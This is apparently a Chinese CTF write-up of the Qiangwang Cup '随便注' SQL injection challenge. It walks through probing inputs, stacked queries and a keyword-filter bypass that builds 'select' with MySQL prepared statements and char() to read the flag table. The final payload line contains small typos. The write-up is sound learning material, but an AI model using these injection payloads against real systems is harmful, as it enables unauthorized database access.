随便注 1

之前在强网杯的时候遇到这道题,当时卡了挺久的,就差最后一步 真的太可惜了

先随便点击一下提交
avatar

看得出是一个sql注入类型的题目

1
2
3
4
5
6
7
输入
1 没有报错
1' 出现报错,验证存在注入
1’# 没有报错
1' order by 1# 没有报错
1' order by 3# 出现报错,证明字段有2个
1' union select 1,2# return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 过滤掉了很多关键字

当时就卡在这里,现在想想还是很亏没有考虑的很多,赛后看了大佬们的WP才知道思路:
1
1';show databases;# 成功,说明存在堆叠注入

堆叠注入可以参考一下:
https://www.cnblogs.com/0nth3way/articles/7128189.html

我的理解下来,加上学完了数据库原理,大概意思就是;在数据库中代表一条语句的结束,系统识别到;时,前面的代码在系统中就被视为已经结束,所以可以利用;来进行堆叠注入

1
1';show tables;# 得到表名1919810931114514

这里用到了Mysql的预处理语句,可以参考这里:https://www.cnblogs.com/geaozhang/p/9891338.html

感觉有点像数据库安全那里,创建角色,然后把权限赋值给该角色,再通过该角色依次赋予权限,主要是为了省事。

1
2
3
PREPARE sqla FROM '[my sql sequece]'; 预定义SQL语句
EXECUTE sqla; 执行预定义sql语句
(DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句

也可以通过变量传输

1
2
3
4
5
SET @tn='hahaha'; 存储表名
SET @sql=concat('select * from ',@tn); 存储sql语句
PREPARE sqla FROM @sql; 预定义SQL语句
EXECUTE sqla; 执行SQL预定义语句
(DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句

构造payload
这里可以用char()方法将ASCII码转换为select字符串,再利用concat()拼接

1
11';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTEsqla;#

得到flag